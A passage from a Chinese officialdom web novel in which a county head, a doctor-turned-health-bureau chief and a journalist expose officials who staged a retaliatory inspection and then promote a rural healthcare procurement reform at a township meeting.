“老张!”李建国猛地停住脚步,指向自己的大秘。
“在!”
办公室主任一个立正。
“立刻拟通知!根据市委高书记的指示精神,县政府决定,立即成立‘关于我县营商环境及重点项目推进受阻问题’的联合调查组!”李建国声音铿锵,掷地有声,“我,亲自担任组长!”
话音一落,满座皆惊。
县长亲自挂帅,这已经不是调查,这是要开刀问斩了。
“县纪委、县监察委、县政府督查室,各派一名副职领导担任副组长!财政局、发改局的同志,作为组员!即刻生效,马上开始工作!”
一套班子,雷厉风行地定了下来。
在场的人精们心里瞬间雪亮。
这调查组里,全是县政府的嫡系和纪委的“铁面包公”,一个县委那边的人都没掺和进来。
李建国这是拿着市委的令箭,要对张海涛的势力,进行一次精准的外科手术式切除了!
“散会!”李建国大手一挥,再也不看那些目瞪口呆的下属,转身大步流星地走出了会议室。
他回到自己的办公室,关上门,刚才那股滔天的怒火瞬间消失得无影无踪。
他走到窗边,看着楼下,忍不住“嘿”地笑了一声,那笑声里是压抑不住的痛快和哭笑不得。
他拿起桌上的红机电话,拨了一个号码。
……
县招待所里,叶凡正坐在窗边喝茶。
他一夜没睡,却毫无倦意。
他知道,自己已经将炮弹打了出去,现在要做的,就是静静地等待爆炸的轰鸣。
电话响了,是李建国的号码。
“喂,李县长。”叶凡的语气平静如水。
“小子!”电话那头,李建国的声音听起来像是刚跟人吵完一架,带着点沙哑,却又藏着一丝笑意,“你可真行啊!你知不知道,刚才在会上,我差点就没绷住笑出来!”
叶凡也笑了:“我只是觉得,有些事情,不能只在青川县这个小池塘里打转。池塘里的水太浑,就得从大江大河里,引点活水进来冲一冲。”
“你那叫引活水吗?你那是把长江给引决堤了!”李建国骂了一句,语气里却满是欣赏,“直接把状告到了高书记的案头,你这胆子,比天还大!”
“我只是把事实,通过一个合理的渠道,反映了上去。”叶凡不卑不亢,“我相信市领导的眼光,也相信县长您发展青川的决心。破坏营商环境,就是在跟全县人民的福祉作对,是在跟您的施政纲领作对。我作为卫生局长,作为青山项目的负责人,有责任维护大局。”
这番话说得滴水不漏,既捧了领导,又占了大义。
李建国在电话那头沉默了片刻,忽然长长地叹了口气:“你啊……天生就是混官场的料。我有时候真怀疑,你那把手术刀,是不是只是你的伪装。”
“都是为了治病救人。”叶凡说,“一个在手术台上,一个在棋盘上。”
“说得好!一个在棋盘上!”李建国精神大振,“棋盘已经摆好了,调查组也成立了。你那边,把所有证据材料,立刻派人送到县政府督查室!记住,要原件,要人证物证俱全!我要让某些人,死都不知道自己是怎么死的!”
“明白。”
“还有,”李建国顿了顿,“你小子给我惹了这么大的‘麻烦’,总得给个说法的。调查组里,我给你留了个‘特邀顾问’的位子,你这两天哪也别去,随时准备参加会议!”
特邀顾问。
叶凡的嘴角微微上扬。
李建国这一手,等于是把他正式从一个“受害者”的身份,提到了“审判者”的席位上。
这是要把他彻底绑上自己的战车,也是在向全县官场宣告,叶凡,是他李建国的人。
挂了电话,叶凡的手机“嗡”地震动了一下,是一条短信。
发信人:苏沐秋。
内容很简单,只有一个龇牙笑的表情和一句话:“听说青川县今天天降大火,把某些人的后院给烧了?”
叶凡笑了笑,回道:“火不是我放的,我只是个开窗通风的人。真正的功劳,得记在《江城晚报》首席大记者的头上。”
几秒钟后,苏沐秋回了过来:“那下次请功臣吃饭,可不能再是小龙虾了。我要吃米其林。”
后面还跟了个吐舌头的俏皮表情。
叶凡看着短信,心中那点因为斗争而紧绷的弦,悄然松弛了下来。
……
与此同时,县消防支队和药监局,已经彻底乱成了一锅粥。
支队长王强和局长孙平,两个人像热锅上的蚂蚁,在各自的办公室里疯狂地打着电话。
“张书记,张书记!您得救救我啊!”王强几乎是在哀嚎,“我……我都是按您的意思办的啊!现在县里成立了联合调查组,县长亲自当组长,第一个就要查我们啊!”
电话那头,县委书记张海涛的声音,冷得像冰。
“王强同志,请你注意你的言辞。什么叫按我的意思办?我什么时候让你半夜去突击检查了?我只是让你‘关心’安全生产,是你自己领会错了精神,搞出了这么大的乱子!”
“不是……书记……”
“嘟…嘟…嘟…”
电话被无情地挂断。
王强握着话筒,手脚冰凉,一屁股瘫坐在椅子上。
他被抛弃了。
成了那只被扔出去平息怒火的替罪羊。
同样的一幕,也在药监局局长孙平的办公室上演。
张海涛用几乎一模一样的话术,把自己撇得干干净净。
孙平挂了电话,失魂落魄地坐在那里,半晌,他忽然抄起桌上那座“一帆风顺”的水晶摆件,狠狠地砸在地上。
“张海涛!你他妈的过河拆桥!我做鬼也不会放过你!”
就在两人万念俱灰之际,办公室的门被敲响了。
“王支队长(孙局长),县联合调查组的同志来了,请您现在就去县政府三号会议室,参加会议。”
门外的人,语气客气,却带着不容置疑的命令。
王强和孙平对视了一眼,都从对方的眼中看到了绝望和恐惧。
他们知道,自己的政治生命,在踏进那个会议室大门的一刻,就将彻底终结。
两人一前一后地走出办公楼,夏日的阳光刺眼,他们却觉得浑身发冷。
县政府大楼前,一辆半旧的桑塔纳正好驶入。
开车的叶凡,无意中瞥见了这两个面如死灰、如同奔丧的男人。
他并不认识他们。
但他知道,这只是开始。
一场以外科手术为名义的官场清洗,已经拉开了序幕。
而他,既是病因的诊断者,也是手持柳叶刀的主刀医生。
接下来,要切除的是更深、更顽固的病灶。
第141章 杀鸡儆猴,堂上点兵!
青川县政府三号会议室,气氛比空调的冷气还要低沉几分。
百叶窗拉下了一半,将刺眼的阳光切割成一条条锋利的光带,投射在暗红色的长条会议桌上。
空气里弥漫着一股隔夜烟草和廉价茶叶混合的滞闷味道。
主位上,县长李建国面无表情地坐着,手指无意识地在桌面上轻轻敲击,发出“笃、笃”的轻响,像是在为即将上演的戏剧打着节拍。
他的左手边,是县纪委的副书记陈岩,一个四十多岁、面容清瘦、眼神像鹰隼般锐利的男人。
他的面前,只放着一个笔记本和一支笔,却仿佛摆着一部法典。
而在长桌的侧面,一个看似最不重要的位置上,坐着叶凡。
他今天被李建国以“特邀顾问”的名义叫来,从头到尾,他没说过一句话,只是安静地看着,像一个置身事外的观众。
会议桌的另一头,两张椅子上,坐着消防支队长王强和药监局局长孙平。
这两个往日里在各自一亩三分地作威作福的实权人物,此刻却像是两只被拔了毛的瘟鸡,脸色煞白,额头上布满了细密的冷汗。
他们面前的茶杯,从会议开始到现在,一口未动,热气早已散尽。
“王强同志,孙平同志。”纪委副书记陈岩开口了,声音平直,不带任何感情色彩,“我们再来梳理一下。根据你们的说法,这次对青山镇康复中心的‘夜间联合突击检查’,是一次正常的、依法依规的行政行为,对吗?”
王强喉结滚动了一下,嘴唇哆嗦着,勉强挤出一个比哭还难看的笑容:“是……是的,陈书记。我们……我们也是为了安全生产,防患于未然。”
孙平也连忙附和:“对对,药品安全无小事。我们发现那批药材来源复杂,有潜在风险,所以……所以才紧急处理。”
陈岩点点头,没看他们,而是翻开了面前的笔记本。
“很好。那么,请王强同志解释一下。”他抬起眼皮,目光像手术刀一样精准地落在王强身上,“根据我们调取的记录,县消防支队过去三年,总共进行夜间突击检查七次,对象全部是KTV、酒吧、网吧这类人员密集的娱乐场所。为什么,一个还在施工中的工地,会成为你们第八次夜间突击的对象,并且是史上第一次,没有事先通知的‘突袭’?”
王强的冷汗“唰”地一下就下来了,后背的衬衫瞬间湿透。
陈岩没等他回答,又转向孙平:“孙平同志,你的问题更简单。药监局的同志反映,你们封存的那批药材,在现场根本没有进行任何快速检测,仅凭‘肉眼观察’,就下了‘手续不全、来源复杂’的结论,并直接予以封存。请问,你们的‘肉眼’,是配备了什么高科技的检测功能吗?还是说,你们的执法,已经先进到不需要仪器,全凭经验和感觉了?”
这番话,绵里藏针,字字诛心。
孙平的脸瞬间涨成了猪肝色,张了张嘴,一个字也说不出来。
会议室里,陷入了死一般的寂静。
只有李建国手指敲击桌面的声音,不急不缓,像催命的鼓点。
“我……我……”王强再也扛不住这种压力,猛地从椅子上站起来,指着孙平,声音都变了调:“是……是他的主意!是他打电话给我,说上面有领导对这个项目不满意,让我们联合搞一次检查,给他点颜色看看!”
“你放屁!”孙平也急了,像被踩了尾巴的猫一样跳了起来,“王强,你他妈的血口喷人!明明是你跟我说,你接到了暗示,说这个叶凡太嚣张,得敲打敲打!我那是配合你工作!”
“你配合我?你药监局什么时候归我消防队管了?”
“那你半夜三更拉着我的人去工地,又算怎么回事?”
两个人当着一众领导的面,像泼妇一样互相撕咬、攻讦起来,丑态百出。
李建国嘴角的肌肉抽动了一下,似乎想笑,但又硬生生忍住了。
纪委副书记陈岩则冷冷地看着,像在欣赏一出闹剧。
叶凡始终没有说话,他只是端起面前那杯已经凉透的茶,轻轻抿了一口。
“够了!”
李建国终于开口,声音不大,却像一记重锤,让两个人的争吵戛然而止。
“一个消防支队长,一个药监局局长。”李建国环视全场,目光最后落在王强和孙平身上,“在县政府的调查组面前,丑态百出,互相推诿,毫无半点党员干部的觉悟和担当!你们不觉得丢人,我都替你们臊得慌!”
王强和孙平浑身一颤,低下了头,像两只斗败的公鸡。
“我再问你们最后一遍。”李建国的声音冷了下来,“是谁,给了你们这么大的胆子,敢拿市里挂名的重点项目当儿戏?敢拿政府的公信力开玩笑?今天,你们两个,必须有一个人,把话说清楚!”
话音刚落,孙平“噗通”一声,竟然直接跪了下来,鼻涕眼泪一大把。
“县长,陈书记,我……我说!我全说!”他指着王强,带着哭腔喊道,“是他!真的是他!他那天喝了酒给我打电话,说……说张书记的秘书给他透过话,说张书记对那个叶凡很不满,觉得他不懂规矩,功高震主,让我们找个由头,把青山镇那个项目给他搅黄了!我……我一时糊涂,就……就信了他的鬼话啊!”
“张书记”三个字一出口,会议室里的空气瞬间又冷了几度。
王强一听孙平把自己卖了个底朝天,还把县委书记给供了出来,吓得魂飞魄散,也跟着跪了下来,对着李建国连连磕头。
“县长!县长饶命啊!我……我没说!我就是喝多了吹牛逼!孙平他记错了!我哪有那个胆子啊!”
“你没说?你那天在酒桌上,拍着胸脯说,张书记马上就要动李县长了,我们这是提前烧冷灶,站好队!”孙平为了自保,已经彻底豁出去了。
看着这滑稽又可悲的一幕,叶凡终于放下了茶杯。
他看向李建国,轻轻点了点头。
李建国会意,对陈岩说:“陈书记,我看,事实已经很清楚了。这两个人,涉嫌滥用职权、公报私仇,严重破坏我县营商环境,干扰重点项目建设。建议,立即停职,交由纪委立案深查!”
“同意。”陈岩合上笔记本,站起身。
王强和孙平,彻底瘫软在了地上。
就在两个纪委的工作人员准备将他们带离时,一直沉默的叶凡,忽然开口了。
“两位局长,我能问个问题吗?”
他的声音很平静,所有人的目光都集中了过来。
王强和孙平茫然地抬起头,看着这个一手将他们送进地狱的年轻人。
叶凡的目光落在孙平身上:“孙局长,我来卫生局之后,看过一份报告。去年,县里有家民营医院,因为药品渠道问题,被群众举报,证据确凿。我记得,药监局接到举报后,过了足足两个星期,才派人去‘常规巡查’了一番,最后不了了之。我想问的是,为什么一个证据确凿的举报,你们可以拖两个星期;而一个毫无根据的‘怀疑’,你们却能做到雷厉风行,半夜出击?”
孙平的嘴唇哆嗦着,一个字也答不上来。
这个问题,比刚才任何指控都更致命。
因为它揭示的不是一次偶然的“犯错”,而是一种常态化的“选择性执法”。
叶凡又看向王强:“王支队长,青山镇康复中心的所有消防设计图纸,都在你们支队备过案,而且是审批通过的。如果真的存在‘耗子爬上去都得崴脚’的严重隐患,那么,当初签字审批的同志,是不是也该承担责任?一个审批合格的项目,转眼就变成了重大隐患,这中间,到底是哪个环节出了问题?”
王强张口结舌,面如死灰。
叶凡这两个问题,看似平淡,却像两把精准的手术刀,一刀切开了他们渎职的脓疮,另一刀,则直接刺向了他们背后那张看不见的权力之网。
他没有再多说一个字,重新坐下,端起了茶杯。
整个会议室,鸦雀无声。
李建国看着叶凡,眼神里是毫不掩饰的欣赏和一丝惊叹。
这小子,不出手则已,一出手,就是杀招,连带着把后面的棋路都给铺好了。
“带走!”李建国大手一挥。
王强和孙平,像两条死狗一样,被拖出了会议室。
人走后,李建国看向剩下的几个调查组成员,声音变得无比严肃。
“同志们,今天这出闹剧,大家都看到了!这已经不是简单的作风问题,这是我们青川县干部队伍里的一颗毒瘤!”
“有些人,官不大,官威不小!心思不用在为民办事上,全用在了溜须拍马、结党营私、打击报复上!”
“我今天把话放这!从现在开始,谁敢再拿手中的公权当成私人的棍棒,谁敢再对我们县里下决心要干的事阳奉阴阴,王强和孙平,就是你们的下场!”
一番话,掷地有声,杀气腾腾。在场的所有人,都噤若寒蝉。
他们知道,李建国这是在杀鸡儆猴,更是借着市委的东风,正式向县委书记张海涛的权威,发起了挑战。
青川县的天,要变了。
会议结束后,李建国单独留下了叶凡。
“怎么样?我这把刀,使得还算趁手吧?”李建国递给叶凡一根烟,自己也点上一根,脸上的严肃一扫而空,换上了一副大获全胜的畅快。
“县长运筹帷幄,我只是个递手术刀的。”叶凡笑着接过。
“你那哪是递手术刀,你那是直接把病人的心肝脾肺肾都给端出来了。”李建国大笑起来,“不过,这样也好。敲山震虎,猴子也吓跑了两只。张海涛现在,估计正躲在办公室里骂娘呢。他安插在政府口的两个重要棋子,就这么废了。”
笑完,他神色一正:“不过,这只是开胃菜。那份《统一采购与招标监督小组的方案》,我已经在常委会上提了。”
叶凡心中一动:“结果呢?”
“结果?”李建国弹了弹烟灰,嘴角勾起一抹冷笑,“张海涛当场就炸了,说这是多此一举,是政府在揽权,不符合程序。几个跟他穿一条裤子的常委,也跟着敲边鼓。最后,这个议题,被他以‘时机尚不成熟,需要进一步调研’为由,给搁置了。”
叶凡的眉头皱了起来。
“他不敢硬顶,就跟你来拖字诀。”李建国看着叶凡,“怎么样?我这边冲锋,被他的碉堡给挡住了。你这个主刀医生,下一步,准备从哪儿下刀啊?”
叶凡沉默了片刻,将烟头在烟灰缸里摁灭。
“既然碉堡太硬,那我们就绕过去。”他抬起头,看着李建国,眼神里闪烁着一种冷静而锐利的光芒。
“我们不先动县里,我们先从乡镇开始。”
“把‘青山模式’,在全县,给我铺开!”
第142章 以点带面,暗度陈仓!
李建国的办公室里,烟雾缭绕。
他看着眼前这个年轻人,眼神里充满了审视和惊奇,仿佛是第一次认识他。
“从乡镇开始?把‘青山模式’在全县铺开?”李建国重复了一遍,把烟蒂在烟灰缸里用力摁灭,眉头拧成了一个疙瘩,“小子,你是不是觉得,赢了一仗,尾巴就翘上天了?”
他不是在责备,而是在提醒。
“张海涛在常委会上能压下统一采购的方案,就意味着他已经把这条路给堵死了。你想在全县推广,哪个乡镇的书记镇长敢点头?他们不看僧面看佛面,谁敢绕开县委书记,跟你这个卫生局长搞‘独立王国’?”
李建国的话很糙,但道理很实在。
青川县下辖十几个乡镇,每个乡镇的头头脑脑都是人精,没谁会为了一个新来的局长,去得罪根深蒂固的县委书记。
叶凡笑了笑,重新给李建国续上茶水:“县长,我没想过让他们点头。”
李建国一愣:“不让他们点头,你怎么铺开?”
“我要让他们排着队,求着我,来青山镇取经。”叶凡的语气很平静,却透着一股不容置疑的自信。
他身体微微前倾,看着李建国的眼睛:“县长,统一采购的方案,为什么会被搁置?因为在那些常委眼里,这是一个没有经过验证的东西,是您和我为了揽权搞出来的花架子。他们看不到好处,自然会跟着张海涛投反对票。”
“但如果,这个模式,能给他们带来实实在在的好处呢?”
李建国端起茶杯,没有喝,手指摩挲着杯壁,示意他继续说。
“青山镇康复中心,现在是什么情况?陈望道老先生坐镇,瘫痪三年的工人都能重新站起来,这叫‘名气’。我们用了新的采购方法,药品耗材成本下降了百分之三十,省下来的钱,能给更多村民减免费用,这叫‘实惠’。镇卫生院的收入增加了,医护人员的奖金高了,这叫‘人心’。”
叶凡不紧不慢地分析着,像是在讲解一台精密的手术。
“名气、实惠、人心,这三样东西加起来,叫什么?”叶凡顿了顿,一字一顿地吐出两个字。
“政绩。”
李建国的眼睛,瞬间亮了。
“哪个乡镇的书记镇长,不想要政绩?哪个乡镇的财政不紧张?哪个乡镇不想让老百姓念他的好?”叶凡的嘴角勾起一抹弧度,“我们现在不搞全县一刀切的强制命令,那是跟张海涛硬碰硬。我们搞‘试点加盟’。”
“加盟?”李建国被这个新潮的词逗乐了。
“对,加盟。”叶凡点头,“我以卫生局的名义,发一个通知,在全县范围内,遴选两到三个乡镇,作为‘青山医疗模式’的推广试点。卫生局将从技术、人才、管理上给予全方位的支持。陈望道老先生,也可以定期去试点乡镇巡回义诊。”
“但是,有个前提条件。”叶凡话锋一转,“想要成为试点,就必须全盘接受‘青山模式’的管理体系,包括我们那套被搁置的‘统一采购与招标监督’办法。也就是说,想请我们这尊‘佛’,就得先修好我们这座‘庙’。”
李建国彻底听明白了。
他看着叶凡,半天没说话,最后猛地一拍大腿,哈哈大笑起来,笑声震得窗玻璃嗡嗡作响。
“好小子!你他娘的真是个天才!”李建国指着叶凡,笑得眼泪都快出来了,“张海涛在常委会上关上了一扇门,你转头就给他开了十几扇窗户,还逼着他的人自己从窗户里跳进来!”
这招太毒了!
这不是行政命令,这是阳谋。
卫生局要搞试点,分享成功经验,这是分内工作,名正言顺。
张海涛就算是县委书记,也找不到任何理由来阻止。
而那些乡镇长们,面对送上门的政绩,谁能不心动?
只要有一个人动了心,尝到了甜头,就会有第二个,第三个。
星星之火,可以燎原。
等到一半以上的乡镇都用上了这套系统,所谓的“统一采购”,就已经成了既定事实。
到时候,张海涛再想反对,面对的就不是李建国和叶凡,而是全县十几个乡镇的集体利益!
釜底抽薪,暗度陈仓!
“你打算先从哪个乡镇下手?”李建国笑够了,神色恢复了严肃。
“我谁都不找。”叶凡摇摇头,“我要让他们来找我。县长,我想借县政府的名义,在青山镇开一个‘全县基层医疗改革现场会’,把所有乡镇的书记、镇长,还有卫生院院长,都请过来。不谈理论,不喊口号,就让他们亲眼看,亲耳听。”
“让他们看看焕然一新的卫生院,看看那些被治好的病人,看看王铁柱他们脸上那种发自内心的笑。最后,再让他们看看青山镇卫生院的财务报表。”叶凡的眼神里,闪烁着一种猎人般的光芒,“看完这些,我相信,会有人坐不住的。”
“好!”李建国一锤定音,“这个会,我亲自去给你站台!”
……
从县政府出来,天色已经擦黑。
叶凡开着车,没有回卫生局,而是鬼使神差地,又开到了城南那片喧闹的大排档。
他把车停在老地方,摇下车窗,点了根烟。
空气里依旧是那股熟悉的、混杂着辣椒和孜然的江湖味道。
他看着不远处那张他和苏沐秋坐过的桌子,此刻正坐着几个光膀子的大汉,划拳的声音震天响。
他拿出手机,拨通了苏沐秋的电话。
“喂?叶大局长,太阳打西边出来了?这个点居然会主动联系我?”电话那头,苏沐秋的声音带着几分调侃,背景里还有键盘敲击的噼啪声,听起来像是在报社加班。
“想请你这位功臣,兑现一顿正经饭。”叶凡靠在椅背上,看着眼前的市井烟火,声音不自觉地放缓了些。
电话那头沉默了两秒,然后传来苏沐秋的轻笑声:“无事献殷勤,非奸即盗。说吧,叶大局长,这次又想让我给你写什么内参,准备把谁的房顶给掀了?”
“你就不能盼我点好?”叶凡被她逗笑了,“这次不掀房顶,是想请你来见证一下,我们怎么盖房子。”
他把“现场会”的想法简单说了一遍。
“全县乡镇的现场会?”苏沐秋立刻抓住了重点,键盘声停了,“你这是要把所有人都拉到牌桌上,当面发牌啊。张海涛那边,不得气得七窍生烟?”
“所以才需要你们《江城晚报》这样的权威媒体,来当个‘荷官’,保证发牌的公平公正。”叶凡说。
“我怎么听着,你这是想让我当你的托儿?”苏沐秋在那边笑得花枝乱颤,“叶凡,我发现你现在越来越坏了,以前那个闷葫芦一样的心外科医生,彻底找不着了。”
“近朱者赤,近墨者黑。”叶凡看着后视镜里的自己,淡淡地说,“可能,是跟一个聪明的女记者学坏了。”
电话那头的笑声戛然而止。
空气里,似乎有种微妙的情愫,通过电波,悄悄地传递了过来。
过了好一会儿,苏沐秋才用一种刻意装出来的公事公办的语气说:“咳……这个选题,很有深度,关乎民生,也关乎地方发展。作为记者,我有责任进行跟踪报道。时间,地点?”
“下周三,青山镇。”
“好。我的采访团队,会准时到。”苏沐-秋说完,顿了顿,又补充了一句,声音小得像蚊子哼哼,“那顿饭……还算数吗?”
“当然算数。”叶凡的嘴角不自觉地扬了起来,“等你凯旋,我亲自下厨。”
挂了电话,叶凡将烟头摁灭,发动了车子。
前方的路,依旧灯火通明。
……
与此同时,县委书记办公室。
张海涛面沉如水地挂断了电话。
电话是他的秘书打来的,向他汇报了县政府办公厅刚刚下发的一份会议通知。
“全县基层医疗改革现场会?”
张海涛咀嚼着这几个字,眼神阴鸷得能滴出水来。
他猛地抓起桌上的一个玻璃杯,狠狠地砸在地上。
“砰!”
玻璃碎片,混着茶叶,溅了一地。
“叶凡!李建国!”他从牙缝里挤出这两个名字,胸口剧烈地起伏着。
他想不明白,自己明明已经在常委会上,把那份要命的方案给摁死了,他们怎么还能想出这种釜底抽薪的阴损招数?
现场会?
他用脚指头想都知道,那会是个什么场景!
无非就是把青山镇包装成一个完美无瑕的典型,把那个什么狗屁“陈怪人”吹成在世华佗,再把那些被洗了脑的村民拉出来感恩戴德。
最后,把一份动过手脚的财务报表拍在桌上,告诉所有人,跟着叶凡干,就有肉吃!
这是阳谋!
他甚至找不到一个像样的理由去阻止。你总不能不让县政府总结推广先进经验吧?
但是,就这么眼睁睁地看着他们唱戏,把自己的墙角一个个挖走?
张海涛在办公室里来回踱步,像一头被困在笼子里的野兽。
不行,绝不能让他们得逞!
他停下脚步,眼中闪过一丝狠厉。
他拿起桌上的红机电话,拨通了几个号码。
“喂,老刘吗?是我,海涛。下周三,县里在青山镇搞个现场会,对,你也收到通知了吧。你听我说,这个会,就是李建国他们搞的形式主义,劳民伤财。到时候,你就在会上,给我多提提问题,尤其是财务上的问题,问得细一点,让他们下不来台,明白吗?”
“喂,是王书记吧?……那个会,你称病,别去了。对,就说老毛病犯了,高血压。”
“老周,你……”
一个又一个电话打出去,一张无形的网,悄然张开。
你不是要搭台唱戏吗?
那我就让你的戏台,要么没人喝彩,要么,就直接给你拆了!
挂断最后一个电话,张海涛长长地吐出一口浊气,重新坐回大班椅上。
他看着窗外县城的万家灯火,脸上重新浮现出那种掌控一切的冷笑。
叶凡,你还是太年轻了。
官场,不是手术台。
这里的水比你想象的要深得多!
第143章 搭台唱戏,请君入瓮!
青山镇从未有过这般热闹。
通往镇卫生院的土路,被临时洒水压尘,变得平整。
路两旁,自发赶来的村民们,脸上挂着朴实又真诚的笑容,像是过节一般。
十几辆挂着县里各个单位牌照的轿车,在镇政府工作人员的引导下,依次停好。
车门打开,一个个在乡镇里说一不二的书记、镇长们走了下来。
他们看着眼前这焕然一新的卫生院,表情各异。
有的惊奇,有的审视,有的则不屑地撇了撇嘴。
现场会的规格,远超他们的想象。
县长李建国亲自坐镇,身边跟着县政府办公室主任和督查室主任。
更让他们心里打鼓的是,几台印着《江城晚报》LOGO的摄像机,正架在不远处,一个穿着白色风衣、身姿飒爽的女记者,正指挥着团队,捕捉着每一个细节。
这阵仗,哪里是开现场会,分明是要上电视,要见报的。
叶凡今天穿得很普通,一件白衬衫,一条深色长裤,站在李建国身侧,既不抢风头,也无法让人忽视。
“各位,欢迎来到青山镇。”叶凡没有拿稿子,声音通过一个便携麦克风清晰地传到每个人耳朵里,“我知道,把大家从百忙之中请过来,都不容易。所以,今天我们不听报告,不喊口号,只看三样东西。”
他伸出手指。
“看一个病人,看一本账,看一群人。”
没有多余的寒暄,叶凡领着众人,直接走进了康复中心的治疗大厅。
大厅里,窗明几净,消毒水的味道清新不刺鼻。
最引人注目的,是一个正在康复器械上,尝试着独立行走的男人。
他每走一步,额头上都渗出豆大的汗珠,身旁的护士紧张地护着,但他的脸上,却是一种近乎狂喜的坚毅。
“周国福?”人群中,一个镇长认了出来,失声叫道,“县机械厂那个瘫痪了三年的周国福?我去年去他家慰问过,当时他连根手指都动不了!”
周国福听见有人叫他,停下脚步,转过头,露出一口白牙:“是刘镇长啊!我现在不止能动,还能走了!陈神医说,再有俩月,我就能扔了拐杖自己下地干活了!”
说着,他竟真的松开扶手,颤巍巍地,独立站了两秒。
全场一片倒吸冷气的声音。
一个被县中医院和“百草堂”都判了“死刑”的瘫痪病人,竟然真的站起来了。
这比任何报告都有说服力。
就在这时,一个穿着对襟褂子、头发花白的老者,端着个搪瓷缸子从里屋溜达出来,看了一眼乌泱泱的人群,眉头一皱:“吵什么吵!不知道病号需要静养吗?叶小子,你带这么多人来参观动物园啊?”
正是陈望道。
他这毫不客气的训斥,非但没让人生气,反而让在场的乡镇干部们心里一凛。
这才是高人的派头!
叶凡苦笑着迎上去:“陈老,这是县里各位领导来学习取经的。”
陈望道哼了一声,拿眼角扫了一圈众人,最后目光落在李建国身上:“你就是那个县长?嗯,看着还算方正,不像个刮地皮的。记住了,我这儿是治病救人的地方,不是你们升官发财的台阶。谁敢把歪心思动到我病人身上,我让他躺着出去。”
说完,理都不理呆若木鸡的众人,自顾自地溜达走了。
李建国非但没生气,反而抚掌大笑:“好!有性格!有这样一心为民的国手坐镇,是我们青川县百姓的福气!”
他这一表态,算是给陈望道定了性。
众人心里的小九九,又开始活泛起来。
参观完病房和崭新的诊疗设备,一行人被请进了临时改造的会议室。
叶凡没有上主位,而是直接走到了投影幕布前。
“刚才,大家看了第一个东西,一个病人。现在,我们来看第二个,一本账。”
他话音刚落,人群中,一个微胖的镇长清了清嗓子,站了起来。
正是张海涛电话里特意关照过的,大柳树镇的镇长刘福贵。
“叶局长,恕我直言。”刘福贵摆出一副公事公办的架势,“这硬件设施,这专家团队,确实让人眼前一亮。可这得花多少钱啊?我们镇财政穷得叮当响,可没这个家底搞这种‘盆景工程’。您这个模式,是不是用钱堆出来的?能推广吗?别到时候学了你们,把镇里底裤都亏掉了。”
这个问题一出,好几个镇长都跟着点头,深以为然。
这是最核心的问题。
好看不中用,学不来,那今天就是白跑一趟。
苏沐秋的镜头不动声色地对准了刘福贵。
叶凡笑了,他似乎早料到有此一问。
他没有回答,而是对着台下招了招手。
“老李,你上来。”
青山镇卫生院院长李德海,,紧张地搓着手走上了台。
“李院长,你别紧张。”叶凡拍了拍他的肩膀,“你就把我们卫生院这两个月的真实情况,跟各位领导汇报一下。”
“哎,好。”李德海深吸一口气,拿起遥控器,按了一下。
幕布上,出现了两张并列的表格。
“各位领导,这是我们院里改革前后的财务对比。”李德海指着左边的表格,声音还有些发抖,“以前,我们进一盒最普通的阿莫西林,采购价是十五块二,卖给老百姓十八块。现在,我们通过叶局长搞的那个平台统一招标,一样的药,进价是七块六!便宜了一半!”
“还有这个,德国进口的缝合线,以前我们托人从市里拿,一包三百六。现在统一采购,一百八!也是一半!”
李德海越说越激动,声音也大了起来,腰杆都挺直了。
“就这么一搞,我们药品的成本,直接降了百分之四十!我们把降下来的钱,一半让利给老百姓,看病便宜了。另一半,变成了医院的利润!”
他再按遥控器,幕布上跳出一组醒目的红色数字。
“上个季度,我们卫生院总共亏损三万一。这个月,我们不光把亏空补上了,还盈利了五万块!扣掉水电开支,我给院里上上下下二十二口人,每人发了一千块的奖金!这是他们十年来,拿到的第一笔奖金!”
说到最后,这个四十多岁的汉子,眼圈都红了。
“以前,我儿子要学费,我都得找我那养猪的连襟借钱。上个礼拜,我第一次挺着腰杆,给他买了个他念叨了一年的新手机!”
没有华丽的辞藻,没有复杂的理论。
一个最基层院长的真情流露,几组触目惊心又无比诱人的数字,像一记记重锤,狠狠砸在在场所有镇长的心坎上。
省钱,赚钱,还落个好名声!
刘福贵张着嘴,脸上青一阵白一阵,一个字也说不出来。
他感觉自己就像个跳梁小丑。
李建国的脸上露出了满意的笑容。
就在这时,又有一个人站了起来。
是七里河镇的书记,也是张海涛的铁杆,王建军。
“李院长说得很好,叶局长这套办法确实厉害。”王建军先是捧了一句,随即话锋一转,眼神锐利地看向叶凡,“但我想问的是,这套模式的核心,真的是那本账吗?我看,核心是陈望道老先生吧?”
“没有陈老坐镇,谁能让瘫子站起来?没有这块金字招牌,老百姓凭什么信你?你们这不叫‘青山模式’,应该叫‘陈望道模式’才对。陈老只有一个,他今天能在青山镇,明天能去我们七里河吗?如果不能,那这个模式,不还是镜花水月,无法复制吗?”
这个问题,比刚才刘福贵的质问,更加刁钻,更加致命。
它直接从根本上否定了模式的可复制性。
所有人的目光再次聚焦到叶凡身上。
李建国的眉头也微微皱起。
叶凡还没来得及开口,一个清脆悦耳的声音,忽然在会议室里响起。
“打扰一下,李县长,叶局长。”
是苏沐秋。
她放下了摄像机,举起手,像个课堂上提问的学生。
“作为记者,我可以向刚才提问的王书记,请教一个问题吗?”
李建国看了她一眼,又看了看叶凡,看到叶凡眼中那抹一闪而过的笑意,他心里就有底了。
“当然可以。媒体监督,欢迎提问。”李建国大手一挥。
苏沐秋站起身,走到会场中央,目光直视着七里河镇的王建军书记,脸上挂着职业化的微笑,但那双眼睛却像X光一样,能看透人心。
“王书记,您好。您刚才的担忧很有道理,也体现了您对工作的高度负责。”苏沐秋先是客气了一句,随即话锋一转,声音变得清晰而有力。
“我的问题是在叶局长和陈老先生来到青山镇之前,这里的医疗状况和您所管辖的七里河镇,以及在座大部分乡镇一样,甚至更差。老百姓‘看病难、看病贵’的问题,不是今天才有,而是存在了很多年。”
“那么,我想请问王书记。”苏沐秋的嘴角微微上扬,勾起一个极其好看却又无比锋利的弧度。
“面对同样的问题,在您领导下的七里河镇,过去的几年里,究竟采取了哪些行之有效的措施,取得了哪些值得在全县推广的成功经验呢?您能否也给我们分享一下?”
“与其质疑一个正在成功的尝试,不如,请您先给我们这些后来者,展示一下您自己的成功范例,也好让我们大家学习学习,不是吗?”
话音落下,整个会议室死一般的寂静。
王建军脸上的血色“唰”的一下全退光了,瞬间变得惨白。
苏沐秋这番话,看似是请教,实则是最狠毒的将军!
她直接把皮球,以一种无可辩驳的方式,踢回给了王建军。
你不是质疑别人吗?
好啊,那你先说说你自己干了些什么?
你干得好吗?
你有什么资格质疑一个已经做出成绩的人?
这已经不是在打脸了,这是把他架在火上,当着全县同僚和市里媒体的面,公开炙烤!
